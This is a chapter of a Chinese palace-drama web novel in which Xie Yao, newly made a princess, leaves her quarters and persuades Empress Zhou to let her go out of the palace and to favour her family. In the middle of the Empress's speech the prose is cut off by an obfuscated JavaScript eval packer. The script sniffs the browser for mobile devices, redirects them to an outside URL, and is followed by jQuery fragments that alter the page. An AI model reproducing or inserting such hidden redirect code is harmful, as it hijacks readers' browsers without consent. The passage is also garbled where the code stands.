18. 第 18 章

    琼林宴好像一场风,很快就吹了过去。


    这阵风却不是温柔的春风,也不知一阵冷似一阵的东风,而是伴着风雷滚滚的夏季狂风。


    带着倾盆暴雨和氤氲潮气,吹得草木浓翠,拂出百花娇艳,也带来了闷热的酷暑。


    因着谢瑶受封余容郡主,临江殿的修缮加快速度,很快就请谢瑶搬迁回宫。


    临别这日,嘉成县主站在松涛阁正屋前,远远看着谢瑶忙碌。


    白菱总被人看着,颇感不自在,进出数趟,终于忍不住:“郡主,县主她老盯着我们看呢,一句话也不说,怪瘆人的。”


    谢瑶手上不停:“没事,她又没做什么,想看让她看好了。”


    嘉成县主见了谢瑶,总要刺她几句,今日安静这许久,就连白菱也察觉出不对来。


    其实谢瑶懂得嘉成县主的心思。


    于谢瑶的破格晋封,嘉成县主嫉妒,可是见谢瑶被毫不留情拿去和一个平民出身的男子联姻,嘉成县主又觉得可怜。


    更重要的是,嘉成县主恐惧。她仿佛看见了自己的未来。


    嫁给秦王作继室,嘉成县主并不曾想过有什么不好,她是贵女出身,自来见惯了联姻的事,所以只觉得顺其自然,可是如今见了谢瑶的境遇,她不免会想,自己去作继室,是否真的那样的光耀,是否真的能够与一个大自己许多的男人婚姻相谐。


    嘉成县主甚至发觉,直到如今,沈贵妃或秦王,都不曾对太后或母亲作出过任何承诺,不过是沈贵妃随口提过,景春公主又开玩笑地说过多次。


    想到此处,嘉成县主怅然若失,看谢瑶在屋里忙得镇定自若,又不由得佩服起来。


    她从前把谢瑶看作皇室养的一个宠物,在她眼里,谢瑶不过是用来稳定军心的一颗棋子,她觉得谢瑶对周皇后和阳平公主的种种,都是屈意讨好,她一直厌恶谢瑶的谄媚嘴脸。


    可是同住这些日子,谢瑶既没刻意讨好过她,也没故意针对过她,不过是有话直说四个字而已。


    嘉成县主忍不住迈出门槛,想去和谢瑶说两句话。


    几个脚步轻快的人影忽然走了进来,嘉成县主认出,那是六尚的女官。


    她不屑于这些地位卑微的人打交道,于是又转身走了回去。


    瑞雪走在头一个,身后跟着海萍和其他两个年轻女官,在谢瑶门口停住脚步:“谢瑶……郡主,我们可以进来吗?”


    “快请进!”谢瑶放下手中东西,热情地迎了出来。


    深灰天空压着黄澄澄的金瓦,空中还飘着牛毛细雨,叫人觉得沉闷不堪,然而四个身穿青翠窄袖宫装的女孩子一来,这松涛阁立刻就有了生气。


    四个小娘子是头一次踏足太后的寿宁宫内,虽然不过是后头一处小阁,恢弘的宫殿也叫她们拘谨无比。


    对着谢瑶的热情,她们更有些手足无措,如今谢瑶是郡主,算身份,可是真正的贵人了。


    瑞雪都忘了说话,还是海萍先开口:“郡主你要回去了,我们来送送你。”


    白菱笑着倒好茶水:“我们只是搬回临江殿,又不是出宫,想见郡主你们随时来就是。”


    瑞雪这时才对着谢瑶开口,语气是小心翼翼的:“以后你是郡主了,我们与你往来……多有不便。”


    是了,六尚女官各有差事,与谢瑶往来太多,未免有巴结贵人甚至结党的嫌疑,两下都没有好处。


    谢瑶有一瞬间的沉默,随即就笑了:“怕什么,横竖我又不是真郡主,你们尽管来找我就是。”


    瑞雪抿一抿嘴算是笑了,一向稳重的海萍却开起玩笑来:“你是郡主,能随心所欲,我们又没疯,敢学着你肆意妄为的!常尚宫知道了,打断我们的腿!”


    这仿佛又回到了那日,谢瑶开玩笑的那日。


    “海萍,你小丫头敢说常尚宫收受贿赂,不想在这尚宫局呆啦?”


    众人会心一笑,都松快起来。


    到底是年轻的小娘子,忧伤的情绪都不愿在心里摆太久,笑过之后,很快就热热闹闹闲谈起来。


    见屋里箱笼还未收拾妥当,几个女官便帮着收拾,瑞雪站在谢瑶身边,手脚麻利地帮她整理几条披帛,忙了片刻,忽然低声嘟囔:“还说陪你去宝相庵呢,也去不成了。”


    这事时不时在谢瑶心头浮起,近日忙着搬回去,她竟忘了,此时瑞雪提起,她稍加思索,一口应了:“说去就去,咱们今日就去!”


    瑞雪吓得摆手:“不,不,你如今出行不便,还是算了。”


    宫里贵人们出行,要摆开仪仗、带上扈从,比寻常女官出宫麻烦多了,周皇后不喜铺张,自然少放人出宫。


    若是从前的谢瑶,当然一味顺从周皇后的意思,绝不想着出宫,可是现在,她已不一样了。


    一桩她不想要的联姻,这是迫不得已,可她也不能一味忍气吞声,有些东西,也该争一争。


    此时瑞雪提起的出宫,便是一个很好的契机。


    谢瑶对瑞雪微微笑一笑:“没事,我去和皇后娘娘说,她一定会放我出宫的。”


    瑞雪还是忐忑:“是我带坏你了。”


    “别这样说。”谢瑶握着她的手摇一摇,“我行动不便,还有事求你。”


    “什么事?”


    .


    听见人来报谢瑶求见,周皇后竟有些愣神。


    自从许婚,周皇后屡屡召见谢瑶,想和她促膝长谈,可是谢瑶总以身子不适为由,婉拒她的召见。


    周皇后明白谢瑶是心里有气,终究是坑害了一个无辜的孩子,周皇后还做不到言之煌煌地去训斥谢瑶,想着横竖婚事已经赐下,小女孩闹些脾气有什么要紧,便也随她去了。


    其实,她把谢瑶给许出去也并非本意,只要有得选,她哪愿意为难一个长在膝下的孩子?更何况这孩子还那样懂事,那样乖巧。


    只不过,人这一世总有许多无奈选择,她最重要的孩子就是太子,为了给太子铺路,别说是谢瑶,就是洛川和菱溪两个女儿,她也毫不犹豫地舍了出去。


    至于阳平公主,周皇后有意忽视了。


    亲生女儿和外人,她想都不必想,当然是保亲生女儿。


    更不必说,这女儿是她一辈子呵护在掌心的珠宝,寄托了她全部美好的希冀,她绝不会亲手打破。


    云女官见皇后不说话,又小心地回禀一次。


    周皇后笑一笑,搁下手里的账簿,起身走到了内室:“请余容郡主进来吧。”


    谢瑶随云女官走进正殿,却不曾见到端坐上首的周皇后,她有一瞬的恍惚。


    她知道,周皇后是进了内室等她。


    周皇后端庄,对人罕有亲昵之举,除了太子妃和阳平公主,少有人进得凤仪宫的内室。从前谢瑶也只在初入宫时进过一次,自那以后,与皇后都是在正殿中板板正正地一问一答。


    这一次许婚,也并非全无好处。


    至少,周皇后心里,谢瑶成了她的自己人。


    既来之则安之,大可用周皇后的态度,给自己多谋求些好处。


    谢瑶进屋,礼仪没有丝毫差错,双手交叠在身前盈盈下拜:“臣女拜见皇后娘娘。”


    “好孩子,快起来。”周皇后竟亲自牵起了谢瑶,随即转向云女官,“你吩咐下去,我要和余容郡主详谈,没有传召,谁也不许闯进来。”


    周皇后是后宫之首,谁敢失心疯了闯凤仪宫,谢瑶心知肚明,这是在说阳平公主。


    她这些日子躲着不见人,可是阳平公主却日日去松涛阁寻她。


    公主去了,谢瑶坐在屋里避而不见,听见窗外嘉成县主讥讽阳平公主:


    “表妹呀,人家自个儿都认命应下婚事,你替人家急什么?这门婚事我看就挺好,嫁个俊美的儿郎,生他两三个孩子,女人么,一辈子不就这点事?”


    听见公主受刺,谢瑶立时坐不住,手都搁在窗上,险些开了窗缝,却听见公主不紧不慢地说:“阿乔的话说得有道理,不过呢,瑶瑶是头一次成亲,我怕她受委屈,所以多操心。不比阿乔你,将来成婚,什么都是现成的例子,你们两人,自然不好比的。”


    莽撞如阳平公主,也会拿话讥讽人了。


    她讽刺嘉成县主嫁给秦王作继室,处处只能循着秦王妃的旧例。


    谢瑶还记得嘉成县主当时口不择言地叫骂,随即阳平公主就轻笑着走了。


    后来她才知道,公主不光去了松涛阁,还去了德馥宫乃至乾元殿,至于这凤仪宫,只怕门槛都要被阳平公主踏平一层。


    周皇后看着谢瑶沉静的脸,徐徐开口:“谢瑶,你是个懂事的孩子,大道理我也不必多说了,这门婚事,你别怨我才是。”


    谢瑶不意皇后这样开门见山,柔婉地低头:“臣女不敢。”


    “没什么不敢的。”周皇后的语气渐渐缥缈起来,“本宫和太子的处境,你比阿琇懂。上有帝心难测,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188512|163710||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    旁有秦王窥探,文武百官呢,也是这山望着那山高。你该懂的,我们都有许多不得已。若是可以,我怎么会让你下嫁崔昭那样的人?他虽然生得好,可是出身寒微、性子冷清……”


    口口声声说不讲大道理,还是絮絮讲了一大长篇。


    更讽刺的是,皇后明明觉得崔昭不好,还是毫不犹豫地将她许了出去。


    “你要体谅本宫,若是太子有个什么不稳,我们都……你这是顾全大局,本宫一定念着你的好。”周皇后说着,以大局作结尾,给谢瑶又扣一顶大帽子。


    谢瑶有一瞬间觉得荒唐,然而又很快按了下去。


    前世太子得了跗骨疽后,已成了废人,皇帝险些将秦王立为太子,沈贵妃几乎要将皇后一派赶尽杀绝,是洛川公主联合了菱溪公主,与各自的夫家一起扶持亲弟弟誉王上位,才算保全了皇后一脉的尊荣。


    谢瑶明白皇后此时的话并不都是虚言。


    抱怨皇后,绝非理智之举,全盘接受皇后的解释,也只会显得软弱。


    谢瑶耐心等皇后说完,恭恭敬敬地仰头对着皇后:“娘娘说的一切道理,臣女全部懂得,或许这就是人们常说的,许多事并非人力所能强拗。如今臣女也算事事顺遂,想起在尚宫局时曾许下心愿去宝相庵拜佛,所以想去烧香还愿。”


    周皇后说了大串,还以为这小娘子总要有些情绪,不论是激动还是委屈,她顺着再捋一捋毛也就是了,谁知等竟来这么些话。


    不知为何,周皇后想起了太子的话:崔昭和谢瑶都是外柔内刚的人,这门亲事倘若勉强,恐怕反而不美,母后若要谢瑶心甘情愿,不如将其收为义女,有了母女情分,许多事便谈不上逼迫。


    当时周皇后觉得太子过于软弱,现在她却不这样认为了。


    周皇后张了张口,想说些什么,竟没发出声音。


    谢瑶仿佛听见皇后内心的不可思议,笑一笑,又给皇后耳中重重击了一锤:“娘娘,臣女虽然得蒙皇恩封了郡主,可是门楣衰败,我还想再替父母和家中求一求恩典。”


    皇后这时才发觉,数年来柔顺乖巧的小娘子,已经是一个有主见的大姑娘了。


    这孩子面对自己的长篇大论,既不像阳平那孩子一样急着跳脚,也不像太子那样畏畏缩缩,仿佛已经无比愉快地接受了与崔昭的婚事。


    她说了什么?


    事事顺遂,所以要去烧香还愿。


    还要替奉恩侯府求恩典!


    周皇后对谢瑶忽然起了莫名的看重。


    在她印象中,只有自己的长女洛川公主才有这样宠辱不惊的气派。


    接受既定的事实,用不利的局面尽力为自己谋求适当的好处。


    这孩子,不简单。


    谢瑶所提的出宫是小事,周皇后怎么也没有拒绝的理由,更不必说自家才算计了这姑娘。


    于是周皇后唤了云女官进来,吩咐她去安排事宜。


    云女官听见“宝相庵”三个字,立时抬头。


    宝相庵可是离奉恩侯府不远!皇后一向不愿谢瑶想起旧事,这时却许她去奉恩侯府附近烧香,皇后难道忘记了这些琐碎小事?


    可是见周皇后心事重重,云女官也不敢再问皇后,只好委婉拖延,“是,臣一定安排妥当,明日就可送郡主出宫。”


    “我今日就想出宫。”谢瑶说着,微笑着转向周皇后,“娘娘,可以吗?”


    周皇后揉一揉眉心,“今日就今日,云女官,你速速去办吧。”她说完,补上一句,“以后郡主的一应供奉,与阳平公主相同。”


    云女官心中一凛,恭敬应了,无声退出去。


    谢瑶目视云女官出去,转身问皇后:“娘娘,那么臣女所说的第二件事……”


    “此事并非我能做主,你且回去,等我请见皇上后再说。”


    不知为何,周皇后竟把谢瑶当做大人,说话平等起来。


    谢瑶知道皇后这话不是敷衍,也知道皇后甚少食言,于是乖巧地行礼告退。


    走出凤仪宫,谢瑶长长出一口气。


    她赌赢了,她得到了皇后的看重。


    方才的种种表现,叫周皇后觉得她是个可堪大用的人,所以才愿意厚待她。


    身处逆境,终究还是替自己和家中多争了两分。


    接下来,她要出宫。


    除了烧香,更要回府看看,还有……


    面见太子身边那位宋妃娘娘。